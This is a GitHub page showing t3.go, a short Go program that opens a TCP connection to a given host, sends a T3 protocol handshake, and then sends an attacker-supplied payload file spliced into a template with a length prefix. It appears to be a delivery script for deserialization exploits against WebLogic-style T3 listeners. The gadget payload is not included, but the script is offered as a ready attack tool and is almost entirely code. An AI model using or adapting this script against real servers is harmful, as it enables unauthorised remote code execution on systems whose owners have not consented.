forked from averagesecurityguy/scripts
-
Notifications
You must be signed in to change notification settings - Fork 1
/
t3.go
129 lines (98 loc) · 2.46 KB
/
t3.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
package main
import (
"os"
"fmt"
"net"
"bytes"
"bufio"
"encoding/hex"
"encoding/binary"
)
func check(e error) {
if e != nil {
fmt.Printf("Error: %s\n", e.Error())
os.Exit(0)
}
}
func decode(src string) []byte {
dec, err := hex.DecodeString(src)
check(err)
return dec
}
func load(filename string) []byte {
file, err := os.Open(filename)
check(err)
data := make([]byte, 0)
buf := make([]byte, 256)
n, err := file.Read(buf)
for {
if err != nil && err.Error() == "EOF" {
break
} else if n == 0 {
break
} else {
data = append(data, buf[:n]...)
n, err = file.Read(buf)
}
}
return data
}
func merge(template, data []byte) []byte {
return bytes.Replace(template, []byte("[xxxx]"), data, -1)
}
func add_len(data []byte) []byte {
// Add the length of the data to the beginning of the data slice.
var full []byte
length := make([]byte, 4)
binary.BigEndian.PutUint32(length, uint32(len(data) + 4))
full = append(full, length...)
full = append(full, data...)
return full
}
func get_resp(conn net.Conn) {
reader := bufio.NewReader(conn)
resp, err := reader.ReadString('\n')
for {
fmt.Printf("%s", resp)
if resp == "\n" || err != nil {
break
} else {
resp, err = reader.ReadString('\n')
}
}
}
func send(conn net.Conn, data []byte) {
n, err := conn.Write(data)
check(err)
if n < len(data) {
fmt.Println("Error writing data to socket.")
}
}
func main() {
if len(os.Args) != 5 {
fmt.Println("Usage: go run t3.go server port template payload")
os.Exit(1)
}
connect := fmt.Sprintf("%s:%s", os.Args[1], os.Args[2])
template_file := os.Args[3]
payload_file := os.Args[4]
// Load our payload from a file.
template := load(template_file)
payload := load(payload_file)
payload = merge(template, payload)
payload = add_len(payload)
// Create our connection.
conn, err := net.Dial("tcp", connect)
check(err)
defer conn.Close()
// Send the Hello
fmt.Println("Sending Hello...")
send(conn, []byte("t3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n"))
fmt.Println("Response:")
get_resp(conn)
// Send the payload
fmt.Println("Sending Payload...")
send(conn, payload)
fmt.Println("Response:")
get_resp(conn)
}